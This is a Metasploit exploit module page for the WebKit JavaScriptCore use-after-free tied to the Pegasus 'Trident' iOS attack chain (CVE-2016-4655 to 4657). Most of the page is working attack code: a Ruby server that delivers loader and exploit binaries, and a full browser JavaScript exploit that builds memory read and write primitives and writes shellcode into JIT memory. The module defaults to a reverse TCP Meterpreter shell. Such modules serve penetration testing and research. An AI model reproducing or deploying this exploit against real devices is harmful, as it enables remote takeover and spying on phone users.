WebKit not_number defineProperties UAF

2018-04-03T06:44:54
ID MSF:EXPLOIT/APPLE_IOS/BROWSER/WEBKIT_TRIDENT
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WebKit not_number defineProperties UAF',
      'Description'    => %q{
          This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'qwertyoruiop', # jbme.qwertyoruiop.com
        'siguza',       # PhoenixNonce
        'tihmstar',     # PhoenixNonce
        'benjamin-42',  # Trident
        'timwr',        # metasploit integration
        ],
      'References'     => [
          ['CVE', '2016-4655'],
          ['CVE', '2016-4656'],
          ['CVE', '2016-4657'],
          ['BID', '92651'],
          ['BID', '92652'],
          ['BID', '92653'],
          ['URL', 'https://blog.lookout.com/trident-pegasus'],
          ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
          ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
          ['URL', 'https://github.com/Siguza/PhoenixNonce'],
          ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
          ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
          ['URL', 'https://github.com/benjamin-42/Trident'],
          ['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
        ],
      'Arch'           => ARCH_AARCH64,
      'Platform'       => 'apple_ios',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => '2016-08-25'))
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
      ])
  end

  def payload_url
    "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
  end

  def on_request_uri(cli, request)
    print_status("Request from #{request['User-Agent']}")
    if request.uri =~ %r{/loader32$}
      print_good("armle target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
      config = [srvhost, srvport].pack("Nn") + payload_url
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, config.length] = config
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/loader64$}
      print_good("aarch64 target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/exploit64$}
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, payload_url.length] = payload_url
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent exploit (#{loader_data.size} bytes)")
      return
    elsif request.uri =~ %r{/payload32$}
      payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha1
      send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent payload (#{payload_data.size} bytes)")
      return
    end
    html = %Q^
<html>
<body>
<script>

function load_binary_resource(url) {
  var req = new XMLHttpRequest();
  req.open('GET', url, false);
  req.overrideMimeType('text/plain; charset=x-user-defined');
  req.send(null);
  return req.responseText;
}

var pressure = new Array(400);
var bufs = new Array(10000);

var fcp = 0;
var smsh = new Uint32Array(0x10);

var trycatch = "";
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);

function dgc() {
  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = new Uint32Array(0xa000);
  }
  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = 0;
  }
}

function swag() {
  if(bufs[0]) return;

  dgc();

  for (i=0; i < bufs.length; i++) {
    bufs[i] = new Uint32Array(0x100*2)
    for (k=0; k < bufs[i].length; )
    {
      bufs[i][k++] = 0x41414141;
      bufs[i][k++] = 0xffff0000;
    }
  }
}

var mem0=0;
var mem1=0;
var mem2=0;

function read4(addr) {
  mem0[4] = addr;
  var ret = mem2[0];
  mem0[4] = mem1;
  return ret;
}

function write4(addr, val) {
  mem0[4] = addr;
  mem2[0] = val;
  mem0[4] = mem1;
}

_dview = null;
function u2d(low, hi) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0);
}

function go_(){
  var arr = new Array(0x100);
  var not_number = {};
  not_number.toString = function() {
    arr = null;
    props["stale"]["value"] = null;
    swag();
    return 10;
  };

  smsh[0] = 0x21212121;
  smsh[1] = 0x31313131;
  smsh[2] = 0x41414141;
  smsh[3] = 0x51515151;
  smsh[4] = 0x61616161;
  smsh[5] = 0x71717171;
  smsh[6] = 0x81818181;
  smsh[7] = 0x91919191;

  var props = {
    p0 : { value : 0 },
    p1 : { value : 1 },
    p2 : { value : 2 },
    p3 : { value : 3 },
    p4 : { value : 4 },
    p5 : { value : 5 },
    p6 : { value : 6 },
    p7 : { value : 7 },
    p8 : { value : 8 },
    length : { value : not_number },
    stale : { value : arr },
    after : { value : 666 }
  };

  var target = [];
  var stale = 0;
  Object.defineProperties(target, props);
  stale = target.stale;

  if (stale.length != 0x41414141){
    location.reload();
    return;
  }

  var obuf = new Uint32Array(2);
  obuf[0] = 0x41414141;
  obuf[1] = 0xffff0000;

  stale[0] = 0x12345678;
  stale[1] = {};

  for(var z=0; z<0x100; z++) fc();

  for (i=0; i < bufs.length; i++) {
    var dobreak = 0;
    for (k=0; k < bufs[0].length; k++) {
      if (bufs[i][k] == 0x12345678) {
        if (bufs[i][k+1] == 0xFFFF0000) {
          stale[0] = fc;
          fcp = bufs[i][k];
          stale[0] = {
            'a': u2d(105, 0),
            'b': u2d(0, 0),
            'c': smsh,
            'd': u2d(0x100, 0)
          }
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          bck = stale[0][4];
          stale[0][4] = 0;
          stale[0][6] = 0xffffffff;
          mem0 = stale[0];
          mem1 = bck;
          mem2 = smsh;
          bufs.push(stale);
          if (smsh.length != 0x10) {
            var filestream = load_binary_resource("loader64");
            var macho = load_binary_resource("exploit64");
            r2 = smsh[(fcp+0x18)/4];
            r3 = smsh[(r2+0x10)/4];
            var jitf = smsh[(r3+0x10)/4];
            write4(jitf, 0xd28024d0);     //movz x16, 0x126
            write4(jitf + 4, 0x58000060);   //ldr x0, 0x100007ee4
            write4(jitf + 8, 0xd4001001);   //svc 80
            write4(jitf + 12, 0xd65f03c0);  //ret
            write4(jitf + 16, jitf + 0x20);
            write4(jitf + 20, 1);
            fc();
            var dyncache = read4(jitf + 0x20);
            var dyncachev = read4(jitf + 0x20);
            var go = 1;
            while (go) {
              if (read4(dyncache) == 0xfeedfacf) {
                for (i = 0; i < 0x1000 / 4; i++) {
                  if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
                  {
                    go = 0;
                    break;
                  }
                }
              }
              dyncache += 0x1000;
            }
            dyncache -= 0x1000;
            var bss = [];
            var bss_size = [];
            for (i = 0; i < 0x1000 / 4; i++) {
              if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
                bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
                bss_size.push(read4(dyncache + i * 4 + (0x28)));
              }
            }
            var shc = jitf;
            for (var i = 0; i < filestream.length;) {
              var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
              write4(shc, word);
              shc += 4;
              i += 4;
            }
            jitf &= ~0x3FFF;
            jitf += 0x8000;
            write4(shc, jitf);
            write4(shc + 4, 1);
            // copy macho
            for (var i = 0; i < macho.length;i+=4) {
              var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
              write4(jitf+i, word);
            }
            for (var i = 0; i < bss.length; i++) {
              for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
                write4(bss[i] + k * 4, 0);
              }
            }
            fc();
          }
        } else if(bufs[i][k+1] == 0xFFFFFFFF) {
          stale[0] = fc;
          fcp = bufs[i][k];
          stale[0] = smsh;
          stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
          stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          var leak = stale[0][0].charCodeAt(0);
          leak += stale[0][1].charCodeAt(0) << 8;
          leak += stale[0][2].charCodeAt(0) << 16;
          leak += stale[0][3].charCodeAt(0) << 24;
          bufs[i][k] -= 0x10;
          stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          stale[0][4] = 0;
          stale[0][5] = 0xffffffff;
          bufs[i][k] -= 0x10;
          mem0 = stale[0];
          mem2 = smsh;
          if (smsh.length != 0x10) {
            setTimeout(function() {
              var filestream = load_binary_resource("loader32");
              r2 = smsh[(fcp+0x14)/4];
              r3 = smsh[(r2+0x10)/4];
              shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              for(var i = 0; i < filestream.length; i+=4) {
                var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8)  | ((filestream.charCodeAt(i+2) & 0xff) << 16)  | ((filestream.charCodeAt(i+3) & 0xff) << 24);
                smsh[(shellcode+i)/4] = word;
              }
              smsh[(fcp+0x00)/4] = fcp+4;
              smsh[(fcp+0x04)/4] = fcp+4;
              smsh[(fcp+0x08)/4] = shellcode+1; //PC
              smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;

              fc();
            }, 100);
          }
        } else {
          location.reload();
        }
        dobreak = 1;
        break;
      }
    }
    if (dobreak) break;
  }
  location.reload();
}

setTimeout(go_, 300);


</script>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end